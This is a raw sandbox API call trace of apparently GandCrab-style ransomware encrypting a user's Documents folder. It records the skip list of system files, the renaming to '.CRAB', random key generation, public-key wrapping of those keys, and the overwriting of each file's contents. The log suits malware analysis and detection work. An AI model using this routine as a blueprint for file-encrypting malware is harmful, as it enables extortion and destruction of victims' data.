	[0128.704] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x318e438) returned 1
	[0128.704] CryptGetKeyParam (in: hKey=0x318e438, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0128.704] CryptEncrypt (in: hKey=0x318e438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0128.705] GetLastError () returned 0x0
	[0128.705] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0128.705] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gGpqTAi7ZrEJwAu.docx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ggpqtai7zrejwau.docx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0128.705] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0128.706] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0128.706] ReadFile (in: hFile=0x3e8, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314d46c*=0x2c87, lpOverlapped=0x0) returned 1
	[0128.724] VirtualAlloc (lpAddress=0x0, dwSize=0x2c90, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0128.725] VirtualAlloc (lpAddress=0x0, dwSize=0x2c90, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0128.725] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.726] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xffffd379, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.726] WriteFile (in: hFile=0x3e8, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x2c90, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314d45c*=0x2c90, lpOverlapped=0x0) returned 1
	[0128.726] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.726] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.730] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0128.730] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0128.730] WriteFile (in: hFile=0x3e8, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0128.730] CloseHandle (hObject=0x3e8) returned 1
	[0128.730] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.731] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.731] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.731] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.731] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.732] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.732] FindNextFileW (in: hFindFile=0x318e4f8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0128.732] lstrcmpW (lpString1="j2jwdIn1XQqie.xlsx", lpString2=".") returned 1
	[0128.732] lstrcmpW (lpString1="j2jwdIn1XQqie.xlsx", lpString2="..") returned 1
	[0128.732] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="j2jwdIn1XQqie.xlsx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\j2jwdIn1XQqie.xlsx") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\j2jwdIn1XQqie.xlsx"
	[0128.732] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0128.732] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\j2jwdIn1XQqie.xlsx") returned 50
	[0128.732] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\j2jwdIn1XQqie.xlsx") returned 50
	[0128.732] lstrlenW (lpString=".xlsx") returned 5
	[0128.732] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0128.733] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".xlsx ") returned 6
	[0128.733] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.733] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\j2jwdIn1XQqie.xlsx") returned 50
	[0128.733] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\j2jwdIn1XQqie.xlsx") returned 50
	[0128.733] lstrcmpiW (lpString1="j2jwdIn1XQqie.xlsx", lpString2="desktop.ini") returned 1
	[0128.733] lstrcmpiW (lpString1="j2jwdIn1XQqie.xlsx", lpString2="autorun.inf") returned 1
	[0128.733] lstrcmpiW (lpString1="j2jwdIn1XQqie.xlsx", lpString2="ntuser.dat") returned -1
	[0128.733] lstrcmpiW (lpString1="j2jwdIn1XQqie.xlsx", lpString2="iconcache.db") returned 1
	[0128.733] lstrcmpiW (lpString1="j2jwdIn1XQqie.xlsx", lpString2="bootsect.bak") returned 1
	[0128.733] lstrcmpiW (lpString1="j2jwdIn1XQqie.xlsx", lpString2="boot.ini") returned 1
	[0128.733] lstrcmpiW (lpString1="j2jwdIn1XQqie.xlsx", lpString2="ntuser.dat.log") returned -1
	[0128.733] lstrcmpiW (lpString1="j2jwdIn1XQqie.xlsx", lpString2="thumbs.db") returned -1
	[0128.733] lstrcmpiW (lpString1="j2jwdIn1XQqie.xlsx", lpString2="CRAB-DECRYPT.txt") returned 1
	[0128.733] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0128.734] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\j2jwdIn1XQqie.xlsx.CRAB") returned 55
	[0128.734] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\j2jwdIn1XQqie.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\j2jwdin1xqqie.xlsx")) returned 0x20
	[0128.734] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\j2jwdIn1XQqie.xlsx", dwFileAttributes=0x20) returned 1
	[0128.734] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\j2jwdIn1XQqie.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\j2jwdin1xqqie.xlsx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\j2jwdIn1XQqie.xlsx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\j2jwdin1xqqie.xlsx.crab")) returned 1
	[0128.735] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0128.736] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\j2jwdIn1XQqie.xlsx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\j2jwdIn1XQqie.xlsx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\j2jwdIn1XQqie.xlsx.CRAB"
	[0128.736] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\j2jwdIn1XQqie.xlsx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\j2jwdIn1XQqie.xlsx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\j2jwdIn1XQqie.xlsx.CRAB.CRAB"
	[0128.736] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e6b0) returned 1
	[0128.738] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0128.739] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0128.739] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0128.739] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0128.739] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0128.739] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.739] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0128.742] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0128.742] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0128.743] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0128.743] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0128.743] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0128.743] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.743] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0128.744] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0128.744] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6ed98) returned 1
	[0128.747] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x318de78) returned 1
	[0128.747] CryptGetKeyParam (in: hKey=0x318de78, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0128.747] CryptEncrypt (in: hKey=0x318de78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0128.747] GetLastError () returned 0x0
	[0128.747] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0128.747] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0128.750] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x318df38) returned 1
	[0128.750] CryptGetKeyParam (in: hKey=0x318df38, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0128.750] CryptEncrypt (in: hKey=0x318df38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0128.751] GetLastError () returned 0x0
	[0128.751] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0128.751] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\j2jwdIn1XQqie.xlsx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\j2jwdin1xqqie.xlsx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0128.752] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0128.752] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0128.752] ReadFile (in: hFile=0x3e8, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314d46c*=0x17a4e, lpOverlapped=0x0) returned 1
	[0128.765] VirtualAlloc (lpAddress=0x0, dwSize=0x17a50, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0128.769] VirtualAlloc (lpAddress=0x0, dwSize=0x17a50, flAllocationType=0x3000, flProtect=0x4) returned 0x320000
	[0128.772] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.772] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffe85b2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.772] WriteFile (in: hFile=0x3e8, lpBuffer=0x320000*, nNumberOfBytesToWrite=0x17a50, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x320000*, lpNumberOfBytesWritten=0x314d45c*=0x17a50, lpOverlapped=0x0) returned 1
	[0128.773] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.773] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.777] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0128.777] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0128.778] WriteFile (in: hFile=0x3e8, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0128.778] CloseHandle (hObject=0x3e8) returned 1
	[0128.778] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.778] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.778] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.779] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.779] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.779] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.779] FindNextFileW (in: hFindFile=0x318e4f8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0128.779] lstrcmpW (lpString1="MO1lZvBT.pptx", lpString2=".") returned 1
	[0128.779] lstrcmpW (lpString1="MO1lZvBT.pptx", lpString2="..") returned 1
	[0128.779] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="MO1lZvBT.pptx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\MO1lZvBT.pptx") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\MO1lZvBT.pptx"
	[0128.779] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0128.780] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\MO1lZvBT.pptx") returned 45
	[0128.780] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\MO1lZvBT.pptx") returned 45
	[0128.780] lstrlenW (lpString=".pptx") returned 5
	[0128.780] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0128.780] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".pptx ") returned 6
	[0128.780] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.780] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\MO1lZvBT.pptx") returned 45
	[0128.781] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\MO1lZvBT.pptx") returned 45
	[0128.781] lstrcmpiW (lpString1="MO1lZvBT.pptx", lpString2="desktop.ini") returned 1
	[0128.781] lstrcmpiW (lpString1="MO1lZvBT.pptx", lpString2="autorun.inf") returned 1
	[0128.781] lstrcmpiW (lpString1="MO1lZvBT.pptx", lpString2="ntuser.dat") returned -1
	[0128.781] lstrcmpiW (lpString1="MO1lZvBT.pptx", lpString2="iconcache.db") returned 1
	[0128.781] lstrcmpiW (lpString1="MO1lZvBT.pptx", lpString2="bootsect.bak") returned 1
	[0128.781] lstrcmpiW (lpString1="MO1lZvBT.pptx", lpString2="boot.ini") returned 1
	[0128.781] lstrcmpiW (lpString1="MO1lZvBT.pptx", lpString2="ntuser.dat.log") returned -1
	[0128.781] lstrcmpiW (lpString1="MO1lZvBT.pptx", lpString2="thumbs.db") returned -1
	[0128.781] lstrcmpiW (lpString1="MO1lZvBT.pptx", lpString2="CRAB-DECRYPT.txt") returned 1
	[0128.781] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0128.781] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\MO1lZvBT.pptx.CRAB") returned 50
	[0128.781] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\MO1lZvBT.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\mo1lzvbt.pptx")) returned 0x20
	[0128.781] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\MO1lZvBT.pptx", dwFileAttributes=0x20) returned 1
	[0128.782] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\MO1lZvBT.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\mo1lzvbt.pptx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\MO1lZvBT.pptx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\mo1lzvbt.pptx.crab")) returned 1
	[0128.783] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0128.783] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\MO1lZvBT.pptx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\MO1lZvBT.pptx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\MO1lZvBT.pptx.CRAB"
	[0128.783] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\MO1lZvBT.pptx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\MO1lZvBT.pptx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\MO1lZvBT.pptx.CRAB.CRAB"
	[0128.783] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0128.786] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0128.786] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0128.787] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0128.787] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0128.787] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0128.787] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.787] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0128.790] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0128.790] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0128.790] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0128.790] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0128.790] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0128.790] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.790] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0128.791] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0128.791] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0128.794] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x318dd38) returned 1
	[0128.794] CryptGetKeyParam (in: hKey=0x318dd38, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0128.794] CryptEncrypt (in: hKey=0x318dd38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0128.794] GetLastError () returned 0x0
	[0128.794] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0128.794] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e7c0) returned 1
	[0128.797] CryptImportKey (in: hProv=0xd6e7c0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x318de38) returned 1
	[0128.797] CryptGetKeyParam (in: hKey=0x318de38, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0128.797] CryptEncrypt (in: hKey=0x318de38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0128.804] GetLastError () returned 0x0
	[0128.804] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0128.804] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\MO1lZvBT.pptx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\mo1lzvbt.pptx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0128.804] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0128.804] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0128.805] ReadFile (in: hFile=0x3e8, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314d46c*=0x9897, lpOverlapped=0x0) returned 1
	[0128.817] VirtualAlloc (lpAddress=0x0, dwSize=0x98a0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0128.818] VirtualAlloc (lpAddress=0x0, dwSize=0x98a0, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0128.819] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.819] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xffff6769, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.820] WriteFile (in: hFile=0x3e8, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x98a0, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314d45c*=0x98a0, lpOverlapped=0x0) returned 1
	[0128.820] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.820] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.824] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0128.824] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0128.824] WriteFile (in: hFile=0x3e8, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0128.824] CloseHandle (hObject=0x3e8) returned 1
	[0128.824] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.825] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.825] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.825] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.825] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.826] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
